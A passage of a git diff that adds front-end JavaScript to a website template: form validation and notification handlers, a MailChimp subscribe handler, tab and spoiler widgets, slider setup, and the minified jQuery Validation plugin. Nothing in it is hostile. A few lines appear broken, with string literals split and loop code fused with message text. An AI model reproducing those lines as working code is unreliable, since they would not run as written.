+ hideErrorLabel: hideErrorLabel,
+ hideMessage: hideMessage
+ };
+
+})(window);
+
+
+// Regular form handler
+var xhrFormHandler = (function(window, undefined) {
+
+ 'use strict';
+
+ function response(response) {
+
+ var $form = this,
+ message = '';
+
+ // start check
+ if (typeof response.fields === 'boolean' && response.fields) {
+
+ if(response.captcha) {
+
+ // Success action
+ message = response.msg || formNotifications.labels.submit.success;
+ formNotifications.showMessage.call(this.closest('.b-form'), message, true, response.hideForm);
+
+ } else {
+
+ // Captcha error action
+ message = response.msg || formNotifications.labels.submit.error;
+ captchaHandler.call(this, response);
+
+ }
+
+ } else if (typeof response.fields === 'object') {
+
+ // Get error message string
+ var messageStr = ' Некорректно заполнены поля: ';
+
+ $.each(response.fields, function(key, value) {
+
+ var fieldName = $form.find('[name="' + key + '"]').attr('placeholder') || $form.find('[name="' + key + '"]').closest('.b-form_box').find('.b-form_box_title').text().replace(' *', '');
+
+ messageStr += '«' + fieldName + '», ';
+
+ });
+
+ message = response.msg || formNotifications.labels.submit.error + messageStr.substring(0, messageStr.length - 2) + '.';
+
+ // Init handlers
+ captchaHandler.call(this, response);
+
+ formNotifications.showMessage.call(this.closest('.b-form'), message, false, false, function(form) {
+
+ highlightFields($form, response.fields);
+
+ });
+
+ } else {
+
+ if ('console' in window) {
+ console.log('Invalid response format form handler');
+ console.log(response);
+ }
+
+ }
+
+ }
+
+ function highlightFields(form, array) {
+
+ $.each(array, function(key, value) {
+
+ formNotifications.showErrorLabel.call(form.find('[name="' + key + '"]'), value, 0);
+
+ });
+
+ }
+
+ function captchaHandler(response) {
+
+ this.find('[name*="captcha"]').val('');
+ this.find('img').attr('src', response.captchaImg);
+
+ if(!response.captcha) {
+
+ formNotifications.showErrorLabel.call(this, forms.msg.captcha, 0);
+
+ }
+
+ }
+
+ return {
+ response: response
+ };
+
+})(window);
+
+
+// Mail Chimp handler
+var mailChimp = function() {
+
+ 'use strict';
+
+ var $form = this;
+
+ $.ajax({
+ url: $form.attr('action'),
+ method: $form.attr('method'),
+ data: $form.serialize(),
+ dataType: 'json',
+ success: function(response) {
+
+ var message;
+
+ if (response.status != 'error') {
+
+ message = '' +
+ 'Thank You! ' +
+ 'You have subscribed to our newsletter.
';
+
+ formNotifications.showMessage.call($form.closest('.b-form'), message, true, true);
+
+ } else {
+
+ message = '' +
+ 'Error! ' +
+ formNotifications.labels.pattern.email;
+
+ formNotifications.showMessage.call($form.closest('.b-form'), message, false, false);
+
+ }
+
+ }
+ });
+
+};
+
+/*
+
+ Copyright (c) 2015 Loginov Artem http://loginov.biz
+ Dual licensed under the MIT license and GPL license
+
+*/
+
+var modules = (function(window, undefined) {
+
+ 'use strict';
+
+ function hashNav() {
+
+ var $anchor = $('a[href^="#"]:not([class*="js-spoiler"] a, [class*="js-tabs"] a)'),
+ $doc = $('html, body');
+
+ $anchor.on('click', function(e) {
+
+ var url = $(this).attr('href');
+
+ if (url.length > 1) {
+
+ e.preventDefault();
+
+ if ($(url).length) {
+
+ $doc
+ .stop()
+ .animate({
+ scrollTop: $(url).offset().top - 70
+ }, 1500, 'easeInOutExpo');
+
+ }
+
+ }
+
+ });
+
+ }
+
+ function spoilers(options) {
+
+ $(options.selector).each(function() {
+
+ var $spoiler = $(this),
+
+ $body = $spoiler.find(options.selector + '-text'),
+ $toggle = $spoiler.find(options.selector + '-toggle');
+
+ $spoiler.not('.opened').find(options.selector + '-text').hide();
+
+ $toggle
+ .on('click.spoiler', function(e) {
+
+ e.preventDefault();
+
+ var item = $(this).closest(options.selector),
+ state = item.hasClass('opened') && item.find(options.selector + '-text').is(':visible');
+
+ if (!state) {
+
+ spoilerOpen.call(item, options.selector);
+
+ } else {
+
+ spoilerClose.call(item, options.selector);
+
+ }
+
+ // Close neighbors items
+ if (item.data('closeNeighbors')) {
+
+ item.siblings(options.selector).each(function() {
+ spoilerClose.call($(this), options.selector);
+ });
+
+ }
+
+ });
+
+ });
+
+ function spoilerClose(sel) {
+
+ this.toggleClass('opened', false);
+
+ this.find(sel + '-toggle').html(this.find(sel + '-toggle').data('closed') || this.find(sel + '-toggle').html());
+ this.find(sel + '-text').slideUp({ duration: 300, easing: 'easeOutQuart' });
+
+ }
+
+ function spoilerOpen(sel) {
+
+ this.toggleClass('opened', true);
+
+ this.find(sel + '-toggle').html(this.find(sel + '-toggle').data('opened') || this.find(sel + '-toggle').html());
+ this.find(sel + '-text').slideDown({ duration: 300, easing: 'easeOutQuart' });
+
+ }
+
+ }
+
+ function tabs(options) {
+
+ $(options.selector).each(function(){
+
+ var $wg = $(this),
+ $wrapper = $(this).find(options.selector + '-wrapper').filter(function() { return $wg[0] == $(this).closest(options.selector)[0]; }),
+ $currentLink = $(this).find(options.selector + '-toggle a.current');
+
+ if(!$currentLink.length) {
+ $(this).find(options.selector + '-toggle a:first').addClass('current');
+ }
+
+ var hash = $(this).find(options.selector + '-toggle a.current').attr('href'),
+
+ $pages = $wrapper.find(options.selector + '-page').filter(function() { return $wrapper[0] == $(this).closest(options.selector + '-wrapper')[0]; }),
+ $currentPage = $wrapper.find(options.selector + '-page' + hash).filter(function() { return $wrapper[0] == $(this).closest(options.selector + '-wrapper')[0]; });
+
+ $pages.toggleClass('visible', false);
+ $currentPage.toggleClass('visible', true);
+
+ $(this)
+ .find(options.selector + '-toggle')
+ .filter(function() { return $wg[0] == $(this).closest(options.selector)[0]; })
+ .find('a[href*="#"]')
+ .click(function(e) {
+
+ e.preventDefault();
+
+ $wrapper.css({ height: $currentPage.outerHeight(true) });
+
+ $(this).closest(options.selector + '-toggle').find('a').removeClass('current');
+ $(this).addClass('current');
+
+ $currentPage = $(this).closest(options.selector).find(options.selector + '-page' + $(this).attr('href'));
+ $pages.toggleClass('visible', false);
+
+ $currentPage.toggleClass('visible', true);
+
+ $wrapper.animate({ height: $currentPage.outerHeight(true) }, 500, 'easeOutQuart', function() {
+
+ $(this).css({ height: '' })
+
+ });
+
+ if(typeof options.onToggle != 'undefined' && options.onToggle) {
+ options.onToggle($(this), $(this).closest(options.selector).find(options.selector + '-page' + $(this).attr('href')));
+ }
+
+ return false;
+
+ });
+
+ });
+
+ }
+
+ function video(id) {
+
+ var support = !!document.createElement('video').canPlayType,
+ isTouchDevice = 'ontouchstart' in document.documentElement,
+
+ video = document.getElementById(id),
+
+ src, dotIndex, source;
+
+ if (!video) return;
+ if (!support || isTouchDevice) {
+
+ video.style.display = 'none';
+ video.parentNode.removeChild(video);
+
+ } else {
+
+ setTimeout(function() {
+
+ src = video.getAttribute('data-src');
+ dotIndex = src.lastIndexOf('.');
+
+ if (dotIndex != -1) {
+ src = src.substring(0, dotIndex);
+ }
+
+ source = document.createElement('source');
+
+ if (_supportsWebmVideo(video)) {
+
+ source.src = src + '.webm';
+ source.type = 'video/webm; codecs="vp8, vorbis';
+
+ } else if (_supportsMp4Video(video)) {
+
+ source.src = src + '.mp4';
+ source.type = 'video/mp4; codecs="avc1.42E01E, mp4a.40.2';
+
+ } else if (_supportsOggVideo(video)) {
+
+ source.src = src + '.ogv';
+ source.type = 'video/ogg; codecs="theora, vorbis';
+
+ }
+
+ video.appendChild(source);
+
+ video.load();
+ video.play();
+
+ }, 0);
+
+ }
+
+ function _supportsWebmVideo(video) {
+ return video.canPlayType('video/webm; codecs="vp8, vorbis"');
+ }
+ function _supportsMp4Video(video) {
+ return video.canPlayType('video/mp4; codecs="avc1.42E01E, mp4a.40.2"');
+ }
+ function _supportsOggVideo(video) {
+ return video.canPlayType('video/ogg; codecs="theora, vorbis"');
+ }
+
+ }
+
+ return {
+ hashNav: hashNav,
+ spoilers: spoilers,
+ tabs: tabs,
+ video: video
+ };
+
+})(window);
+
+/*
+
+ Copyright (c) 2015 Loginov Artem http://loginov.biz
+ Dual licensed under the MIT license and GPL license
+
+*/
+
+var plugins = (function(window, undefined) {
+
+ 'use strict';
+
+ function sliders() {
+
+ if ($.isFunction($.fn.flexslider)) {
+
+ var selector = 'b-slider';
+
+ $('.' + selector).each( function() {
+
+ var $slider = $(this);
+
+ //if ($slider.find('.' + selector + '_inner > div').length > 1) {
+
+ $slider.flexslider({
+ namespace: selector + '_',
+ selector: '.' + selector + '_inner > div',
+ controlsContainer: $slider.parent(),
+
+ allowOneSlide: false,
+
+ animation: $slider.data('animation') || 'slide',
+ animationLoop: true,
+ animationSpeed: $slider.data('speed') || 400,
+
+ slideshow: $slider.data('auto') || false,
+ slideshowSpeed: /*$slider.data('interval') * 1000 ||*/ 5000,
+
+ showNearby: $slider.data('showNearby') || false,
+
+ directionNav: !!$slider.data('arrows') ? $slider.data('arrows') : false,
+ controlNav: $slider.data('control') || false,
+ controlNavLoop: $slider.data('controlLoop') || false,
+ progressLine: $slider.data('progress') || false,
+
+ thumbCaptions: $slider.data('controlCaptions') || false,
+ thumbBg: $slider.data('thumbsAsBg') || false,
+ thumbCount: !!$slider.data('thumbsCount') ? $slider.data('thumbsCount').split(',') : [1, 2, 2, 2],
+
+ pauseOnAction: true,
+ prevText: $slider.data('prevText') || '',
+ nextText: $slider.data('nextText') || '',
+
+ smoothHeight: true,
+
+ before: function() {
+
+ refresh();
+
+ },
+
+ after: function($slider) {
+
+ if (!$slider.playing && $slider.data('auto')) {
+ $slider.play();
+ }
+
+ }
+ });
+
+ //}
+
+ $(window).bind('resize.flexSlider', function() {
+
+ refresh();
+
+ });
+
+ function refresh() {
+
+ return $slider
+ .removeData('flexslider')
+ .css({ height: '' });
+
+ }
+
+ });
+
+ }
+
+ }
+
+ function parallax() {
+
+ var parallax = !!$('.b-section__parallax').length;
+
+ if (parallax) {
+
+ skrollr.init({
+ forceHeight: false,
+ //smoothScrolling: true,
+ //smoothScrollingDuration: 1000,
+ mobileCheck: function() {
+ return false;
+ }
+ });
+
+ }
+
+ }
+
+
+
+
+})(window);
diff --git a/deployed/helix3/templates/shaper_helix3/js/plugin/validation.js b/deployed/helix3/templates/shaper_helix3/js/plugin/validation.js
new file mode 100644
index 00000000..643837b9
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/plugin/validation.js
@@ -0,0 +1,4 @@
+/*! jQuery Validation Plugin - v1.14.0 - 6/30/2015
+ * http://jqueryvalidation.org/
+ * Copyright (c) 2015 Jörn Zaefferer; Licensed MIT */
+!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):a(jQuery)}(function(a){a.extend(a.fn,{validate:function(b){if(!this.length)return void(b&&b.debug&&window.console&&console.warn("Nothing selected, can't validate, returning nothing."));var c=a.data(this[0],"validator");return c?c:(this.attr("novalidate","novalidate"),c=new a.validator(b,this[0]),a.data(this[0],"validator",c),c.settings.onsubmit&&(this.on("click.validate",":submit",function(b){c.settings.submitHandler&&(c.submitButton=b.target),a(this).hasClass("cancel")&&(c.cancelSubmit=!0),void 0!==a(this).attr("formnovalidate")&&(c.cancelSubmit=!0)}),this.on("submit.validate",function(b){function d(){var d,e;return c.settings.submitHandler?(c.submitButton&&(d=a(" ").attr("name",c.submitButton.name).val(a(c.submitButton).val()).appendTo(c.currentForm)),e=c.settings.submitHandler.call(c,c.currentForm,b),c.submitButton&&d.remove(),void 0!==e?e:!1):!0}return c.settings.debug&&b.preventDefault(),c.cancelSubmit?(c.cancelSubmit=!1,d()):c.form()?c.pendingRequest?(c.formSubmitted=!0,!1):d():(c.focusInvalid(),!1)})),c)},valid:function(){var b,c,d;return a(this[0]).is("form")?b=this.validate().form():(d=[],b=!0,c=a(this[0].form).validate(),this.each(function(){b=c.element(this)&&b,d=d.concat(c.errorList)}),c.errorList=d),b},rules:function(b,c){var d,e,f,g,h,i,j=this[0];if(b)switch(d=a.data(j.form,"validator").settings,e=d.rules,f=a.validator.staticRules(j),b){case"add":a.extend(f,a.validator.normalizeRule(c)),delete f.messages,e[j.name]=f,c.messages&&(d.messages[j.name]=a.extend(d.messages[j.name],c.messages));break;case"remove":return c?(i={},a.each(c.split(/\s/),function(b,c){i[c]=f[c],delete f[c],"required"===c&&a(j).removeAttr("aria-required")}),i):(delete e[j.name],f)}return g=a.validator.normalizeRules(a.extend({},a.validator.classRules(j),a.validator.attributeRules(j),a.validator.dataRules(j),a.validator.staticRules(j)),j),g.required&&(h=g.required,delete g.required,g=a.extend({required:h},g),a(j).attr("aria-required","true")),g.remote&&(h=g.remote,delete g.remote,g=a.extend(g,{remote:h})),g}}),a.extend(a.expr[":"],{blank:function(b){return!a.trim(""+a(b).val())},filled:function(b){return!!a.trim(""+a(b).val())},unchecked:function(b){return!a(b).prop("checked")}}),a.validator=function(b,c){this.settings=a.extend(!0,{},a.validator.defaults,b),this.currentForm=c,this.init()},a.validator.format=function(b,c){return 1===arguments.length?function(){var c=a.makeArray(arguments);return c.unshift(b),a.validator.format.apply(this,c)}:(arguments.length>2&&c.constructor!==Array&&(c=a.makeArray(arguments).slice(1)),c.constructor!==Array&&(c=[c]),a.each(c,function(a,c){b=b.replace(new RegExp("\\{"+a+"\\}","g"),function(){return c})}),b)},a.extend(a.validator,{defaults:{messages:{},groups:{},rules:{},errorClass:"error",validClass:"valid",errorElement:"label",focusCleanup:!1,focusInvalid:!0,errorContainer:a([]),errorLabelContainer:a([]),onsubmit:!0,ignore:":hidden",ignoreTitle:!1,onfocusin:function(a){this.lastActive=a,this.settings.focusCleanup&&(this.settings.unhighlight&&this.settings.unhighlight.call(this,a,this.settings.errorClass,this.settings.validClass),this.hideThese(this.errorsFor(a)))},onfocusout:function(a){this.checkable(a)||!(a.name in this.submitted)&&this.optional(a)||this.element(a)},onkeyup:function(b,c){var d=[16,17,18,20,35,36,37,38,39,40,45,144,225];9===c.which&&""===this.elementValue(b)||-1!==a.inArray(c.keyCode,d)||(b.name in this.submitted||b===this.lastElement)&&this.element(b)},onclick:function(a){a.name in this.submitted?this.element(a):a.parentNode.name in this.submitted&&this.element(a.parentNode)},highlight:function(b,c,d){"radio"===b.type?this.findByName(b.name).addClass(c).removeClass(d):a(b).addClass(c).removeClass(d)},unhighlight:function(b,c,d){"radio"===b.type?this.findByName(b.name).removeClass(c).addClass(d):a(b).removeClass(c).addClass(d)}},setDefaults:function(b){a.extend(a.validator.defaults,b)},messages:{required:"This field is required.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date ( ISO ).",number:"Please enter a valid number.",digits:"Please enter only digits.",creditcard:"Please enter a valid credit card number.",equalTo:"Please enter the same value again.",maxlength:a.validator.format("Please enter no more than {0} characters."),minlength:a.validator.format("Please enter at least {0} characters."),rangelength:a.validator.format("Please enter a value between {0} and {1} characters long."),range:a.validator.format("Please enter a value between {0} and {1}."),max:a.validator.format("Please enter a value less than or equal to {0}."),min:a.validator.format("Please enter a value greater than or equal to {0}.")},autoCreateRanges:!1,prototype:{init:function(){function b(b){var c=a.data(this.form,"validator"),d="on"+b.type.replace(/^validate/,""),e=c.settings;e[d]&&!a(this).is(e.ignore)&&e[d].call(c,this,b)}this.labelContainer=a(this.settings.errorLabelContainer),this.errorContext=this.labelContainer.length&&this.labelContainer||a(this.currentForm),this.containers=a(this.settings.errorContainer).add(this.settings.errorLabelContainer),this.submitted={},this.valueCache={},this.pendingRequest=0,this.pending={},this.invalid={},this.reset();var c,d=this.groups={};a.each(this.settings.groups,function(b,c){"string"==typeof c&&(c=c.split(/\s/)),a.each(c,function(a,c){d[c]=b})}),c=this.settings.rules,a.each(c,function(b,d){c[b]=a.validator.normalizeRule(d)}),a(this.currentForm).on("focusin.validate focusout.validate keyup.validate",":text, [type='password'], [type='file'], select, textarea, [type='number'], [type='search'], [type='tel'], [type='url'], [type='email'], [type='datetime'], [type='date'], [type='month'], [type='week'], [type='time'], [type='datetime-local'], [type='range'], [type='color'], [type='radio'], [type='checkbox']",b).on("click.validate","select, option, [type='radio'], [type='checkbox']",b),this.settings.invalidHandler&&a(this.currentForm).on("invalid-form.validate",this.settings.invalidHandler),a(this.currentForm).find("[required], [data-rule-required], .required").attr("aria-required","true")},form:function(){return this.checkForm(),a.extend(this.submitted,this.errorMap),this.invalid=a.extend({},this.errorMap),this.valid()||a(this.currentForm).triggerHandler("invalid-form",[this]),this.showErrors(),this.valid()},checkForm:function(){this.prepareForm();for(var a=0,b=this.currentElements=this.elements();b[a];a++)this.check(b[a]);return this.valid()},element:function(b){var c=this.clean(b),d=this.validationTargetFor(c),e=!0;return this.lastElement=d,void 0===d?delete this.invalid[c.name]:(this.prepareElement(d),this.currentElements=a(d),e=this.check(d)!==!1,e?delete this.invalid[d.name]:this.invalid[d.name]=!0),a(b).attr("aria-invalid",!e),this.numberOfInvalids()||(this.toHide=this.toHide.add(this.containers)),this.showErrors(),e},showErrors:function(b){if(b){a.extend(this.errorMap,b),this.errorList=[];for(var c in b)this.errorList.push({message:b[c],element:this.findByName(c)[0]});this.successList=a.grep(this.successList,function(a){return!(a.name in b)})}this.settings.showErrors?this.settings.showErrors.call(this,this.errorMap,this.errorList):this.defaultShowErrors()},resetForm:function(){a.fn.resetForm&&a(this.currentForm).resetForm(),this.submitted={},this.lastElement=null,this.prepareForm(),this.hideErrors();var b,c=this.elements().removeData("previousValue").removeAttr("aria-invalid");if(this.settings.unhighlight)for(b=0;c[b];b++)this.settings.unhighlight.call(this,c[b],this.settings.errorClass,"");else c.removeClass(this.settings.errorClass)},numberOfInvalids:function(){return this.objectLength(this.invalid)},objectLength:function(a){var b,c=0;for(b in a)c++;return c},hideErrors:function(){this.hideThese(this.toHide)},hideThese:function(a){a.not(this.containers).text(""),this.addWrapper(a).hide()},valid:function(){return 0===this.size()},size:function(){return this.errorList.length},focusInvalid:function(){if(this.settings.focusInvalid)try{a(this.findLastActive()||this.errorList.length&&this.errorList[0].element||[]).filter(":visible").focus().trigger("focusin")}catch(b){}},findLastActive:function(){var b=this.lastActive;return b&&1===a.grep(this.errorList,function(a){return a.element.name===b.name}).length&&b},elements:function(){var b=this,c={};return a(this.currentForm).find("input, select, textarea").not(":submit, :reset, :image, :disabled").not(this.settings.ignore).filter(function(){return!this.name&&b.settings.debug&&window.console&&console.error("%o has no name assigned",this),this.name in c||!b.objectLength(a(this).rules())?!1:(c[this.name]=!0,!0)})},clean:function(b){return a(b)[0]},errors:function(){var b=this.settings.errorClass.split(" ").join(".");return a(this.settings.errorElement+"."+b,this.errorContext)},reset:function(){this.successList=[],this.errorList=[],this.errorMap={},this.toShow=a([]),this.toHide=a([]),this.currentElements=a([])},prepareForm:function(){this.reset(),this.toHide=this.errors().add(this.containers)},prepareElement:function(a){this.reset(),this.toHide=this.errorsFor(a)},elementValue:function(b){var c,d=a(b),e=b.type;return"radio"===e||"checkbox"===e?this.findByName(b.name).filter(":checked").val():"number"===e&&"undefined"!=typeof b.validity?b.validity.badInput?!1:d.val():(c=d.val(),"string"==typeof c?c.replace(/\r/g,""):c)},check:function(b){b=this.validationTargetFor(this.clean(b));var c,d,e,f=a(b).rules(),g=a.map(f,function(a,b){return b}).length,h=!1,i=this.elementValue(b);for(d in f){e={method:d,parameters:f[d]};try{if(c=a.validator.methods[d].call(this,i,b,e.parameters),"dependency-mismatch"===c&&1===g){h=!0;continue}if(h=!1,"pending"===c)return void(this.toHide=this.toHide.not(this.errorsFor(b)));if(!c)return this.formatAndAdd(b,e),!1}catch(j){throw this.settings.debug&&window.console&&console.log("Exception occurred when checking element "+b.id+", check the '"+e.method+"' method.",j),j instanceof TypeError&&(j.message+=". Exception occurred when checking element "+b.id+", check the '"+e.method+"' method."),j}}if(!h)return this.objectLength(f)&&this.successList.push(b),!0},customDataMessage:function(b,c){return a(b).data("msg"+c.charAt(0).toUpperCase()+c.substring(1).toLowerCase())||a(b).data("msg")},customMessage:function(a,b){var c=this.settings.messages[a];return c&&(c.constructor===String?c:c[b])},findDefined:function(){for(var a=0;aWarning: No message defined for "+b.name+"")},formatAndAdd:function(b,c){var d=this.defaultMessage(b,c.method),e=/\$?\{(\d+)\}/g;"function"==typeof d?d=d.call(this,c.parameters,b):e.test(d)&&(d=a.validator.format(d.replace(e,"{$1}"),c.parameters)),this.errorList.push({message:d,element:b,method:c.method}),this.errorMap[b.name]=d,this.submitted[b.name]=d},addWrapper:function(a){return this.settings.wrapper&&(a=a.add(a.parent(this.settings.wrapper))),a},defaultShowErrors:function(){var a,b,c;for(a=0;this.errorList[a];a++)c=this.errorList[a],this.settings.highlight&&this.settings.highlight.call(this,c.element,this.settings.errorClass,this.settings.validClass),this.showLabel(c.element,c.message);if(this.errorList.length&&(this.toShow=this.toShow.add(this.containers)),this.settings.success)for(a=0;this.successList[a];a++)this.showLabel(this.successList[a]);if(this.settings.unhighlight)for(a=0,b=this.validElements();b[a];a++)this.settings.unhighlight.call(this,b[a],this.settings.errorClass,this.settings.validClass);this.toHide=this.toHide.not(this.toShow),this.hideErrors(),this.addWrapper(this.toShow).show()},validElements:function(){return this.currentElements.not(this.invalidElements())},invalidElements:function(){return a(this.errorList).map(function(){return this.element})},showLabel:function(b,c){var d,e,f,g=this.errorsFor(b),h=this.idOrName(b),i=a(b).attr("aria-describedby");g.length?(g.removeClass(this.settings.validClass).addClass(this.settings.errorClass),g.html(c)):(g=a("<"+this.settings.errorElement+">").attr("id",h+"-error").addClass(this.settings.errorClass).html(c||""),d=g,this.settings.wrapper&&(d=g.hide().show().wrap("<"+this.settings.wrapper+"/>").parent()),this.labelContainer.length?this.labelContainer.append(d):this.settings.errorPlacement?this.settings.errorPlacement(d,a(b)):d.insertAfter(b),g.is("label")?g.attr("for",h):0===g.parents("label[for='"+h+"']").length&&(f=g.attr("id").replace(/(:|\.|\[|\]|\$)/g,"\\$1"),i?i.match(new RegExp("\\b"+f+"\\b"))||(i+=" "+f):i=f,a(b).attr("aria-describedby",i),e=this.groups[b.name],e&&a.each(this.groups,function(b,c){c===e&&a("[name='"+b+"']",this.currentForm).attr("aria-describedby",g.attr("id"))}))),!c&&this.settings.success&&(g.text(""),"string"==typeof this.settings.success?g.addClass(this.settings.success):this.settings.success(g,b)),this.toShow=this.toShow.add(g)},errorsFor:function(b){var c=this.idOrName(b),d=a(b).attr("aria-describedby"),e="label[for='"+c+"'], label[for='"+c+"'] *";return d&&(e=e+", #"+d.replace(/\s+/g,", #")),this.errors().filter(e)},idOrName:function(a){return this.groups[a.name]||(this.checkable(a)?a.name:a.id||a.name)},validationTargetFor:function(b){return this.checkable(b)&&(b=this.findByName(b.name)),a(b).not(this.settings.ignore)[0]},checkable:function(a){return/radio|checkbox/i.test(a.type)},findByName:function(b){return a(this.currentForm).find("[name='"+b+"']")},getLength:function(b,c){switch(c.nodeName.toLowerCase()){case"select":return a("option:selected",c).length;case"input":if(this.checkable(c))return this.findByName(c.name).filter(":checked").length}return b.length},depend:function(a,b){return this.dependTypes[typeof a]?this.dependTypes[typeof a](a,b):!0},dependTypes:{"boolean":function(a){return a},string:function(b,c){return!!a(b,c.form).length},"function":function(a,b){return a(b)}},optional:function(b){var c=this.elementValue(b);return!a.validator.methods.required.call(this,c,b)&&"dependency-mismatch"},startRequest:function(a){this.pending[a.name]||(this.pendingRequest++,this.pending[a.name]=!0)},stopRequest:function(b,c){this.pendingRequest--,this.pendingRequest<0&&(this.pendingRequest=0),delete this.pending[b.name],c&&0===this.pendingRequest&&this.formSubmitted&&this.form()?(a(this.currentForm).submit(),this.formSubmitted=!1):!c&&0===this.pendingRequest&&this.formSubmitted&&(a(this.currentForm).triggerHandler("invalid-form",[this]),this.formSubmitted=!1)},previousValue:function(b){return a.data(b,"previousValue")||a.data(b,"previousValue",{old:null,valid:!0,message:this.defaultMessage(b,"remote")})},destroy:function(){this.resetForm(),a(this.currentForm).off(".validate").removeData("validator")}},classRuleSettings:{required:{required:!0},email:{email:!0},url:{url:!0},date:{date:!0},dateISO:{dateISO:!0},number:{number:!0},digits:{digits:!0},creditcard:{creditcard:!0}},addClassRules:function(b,c){b.constructor===String?this.classRuleSettings[b]=c:a.extend(this.classRuleSettings,b)},classRules:function(b){var c={},d=a(b).attr("class");return d&&a.each(d.split(" "),function(){this in a.validator.classRuleSettings&&a.extend(c,a.validator.classRuleSettings[this])}),c},normalizeAttributeRule:function(a,b,c,d){/min|max/.test(c)&&(null===b||/number|range|text/.test(b))&&(d=Number(d),isNaN(d)&&(d=void 0)),d||0===d?a[c]=d:b===c&&"range"!==b&&(a[c]=!0)},attributeRules:function(b){var c,d,e={},f=a(b),g=b.getAttribute("type");for(c in a.validator.methods)"required"===c?(d=b.getAttribute(c),""===d&&(d=!0),d=!!d):d=f.attr(c),this.normalizeAttributeRule(e,g,c,d);return e.maxlength&&/-1|2147483647|524288/.test(e.maxlength)&&delete e.maxlength,e},dataRules:function(b){var c,d,e={},f=a(b),g=b.getAttribute("type");for(c in a.validator.methods)d=f.data("rule"+c.charAt(0).toUpperCase()+c.substring(1).toLowerCase()),this.normalizeAttributeRule(e,g,c,d);return e},staticRules:function(b){var c={},d=a.data(b.form,"validator");return d.settings.rules&&(c=a.validator.normalizeRule(d.settings.rules[b.name])||{}),c},normalizeRules:function(b,c){return a.each(b,function(d,e){if(e===!1)return void delete b[d];if(e.param||e.depends){var f=!0;switch(typeof e.depends){case"string":f=!!a(e.depends,c.form).length;break;case"function":f=e.depends.call(c,c)}f?b[d]=void 0!==e.param?e.param:!0:delete b[d]}}),a.each(b,function(d,e){b[d]=a.isFunction(e)?e(c):e}),a.each(["minlength","maxlength"],function(){b[this]&&(b[this]=Number(b[this]))}),a.each(["rangelength","range"],function(){var c;b[this]&&(a.isArray(b[this])?b[this]=[Number(b[this][0]),Number(b[this][1])]:"string"==typeof b[this]&&(c=b[this].replace(/[\[\]]/g,"").split(/[\s,]+/),b[this]=[Number(c[0]),Number(c[1])]))}),a.validator.autoCreateRanges&&(null!=b.min&&null!=b.max&&(b.range=[b.min,b.max],delete b.min,delete b.max),null!=b.minlength&&null!=b.maxlength&&(b.rangelength=[b.minlength,b.maxlength],delete b.minlength,delete b.maxlength)),b},normalizeRule:function(b){if("string"==typeof b){var c={};a.each(b.split(/\s/),function(){c[this]=!0}),b=c}return b},addMethod:function(b,c,d){a.validator.methods[b]=c,a.validator.messages[b]=void 0!==d?d:a.validator.messages[b],c.length<3&&a.validator.addClassRules(b,a.validator.normalizeRule(b))},methods:{required:function(b,c,d){if(!this.depend(d,c))return"dependency-mismatch";if("select"===c.nodeName.toLowerCase()){var e=a(c).val();return e&&e.length>0}return this.checkable(c)?this.getLength(b,c)>0:b.length>0},email:function(a,b){return this.optional(b)||/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/.test(a)},url:function(a,b){return this.optional(b)||/^(?:(?:(?:https?|ftp):)?\/\/)(?:\S+(?::\S*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)(?:\.(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)*(?:\.(?:[a-z\u00a1-\uffff]{2,})).?)(?::\d{2,5})?(?:[/?#]\S*)?$/i.test(a)},date:function(a,b){return this.optional(b)||!/Invalid|NaN/.test(new Date(a).toString())},dateISO:function(a,b){return this.optional(b)||/^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/.test(a)},number:function(a,b){return this.optional(b)||/^(?:-?\d+|-?\d{1,3}(?:,\d{3})+)?(?:\.\d+)?$/.test(a)},digits:function(a,b){return this.optional(b)||/^\d+$/.test(a)},creditcard:function(a,b){if(this.optional(b))return"dependency-mismatch";if(/[^0-9 \-]+/.test(a))return!1;var c,d,e=0,f=0,g=!1;if(a=a.replace(/\D/g,""),a.length<13||a.length>19)return!1;for(c=a.length-1;c>=0;c--)d=a.charAt(c),f=parseInt(d,10),g&&(f*=2)>9&&(f-=9),e+=f,g=!g;return e%10===0},minlength:function(b,c,d){var e=a.isArray(b)?b.length:this.getLength(b,c);return this.optional(c)||e>=d},maxlength:function(b,c,d){var e=a.isArray(b)?b.length:this.getLength(b,c);return this.optional(c)||d>=e},rangelength:function(b,c,d){var e=a.isArray(b)?b.length:this.getLength(b,c);return this.optional(c)||e>=d[0]&&e<=d[1]},min:function(a,b,c){return this.optional(b)||a>=c},max:function(a,b,c){return this.optional(b)||c>=a},range:function(a,b,c){return this.optional(b)||a>=c[0]&&a<=c[1]},equalTo:function(b,c,d){var e=a(d);return this.settings.onfocusout&&e.off(".validate-equalTo").on("blur.validate-equalTo",function(){a(c).valid()}),b===e.val()},remote:function(b,c,d){if(this.optional(c))return"dependency-mismatch";var e,f,g=this.previousValue(c);return this.settings.messages[c.name]||(this.settings.messages[c.name]={}),g.originalMessage=this.settings.messages[c.name].remote,this.settings.messages[c.name].remote=g.message,d="string"==typeof d&&{url:d}||d,g.old===b?g.valid:(g.old=b,e=this,this.startRequest(c),f={},f[c.name]=b,a.ajax(a.extend(!0,{mode:"abort",port:"validate"+c.name,dataType:"json",data:f,context:e.currentForm,success:function(d){var f,h,i,j=d===!0||"true"===d;e.settings.messages[c.name].remote=g.originalMessage,j?(i=e.formSubmitted,e.prepareElement(c),e.formSubmitted=i,e.successList.push(c),delete 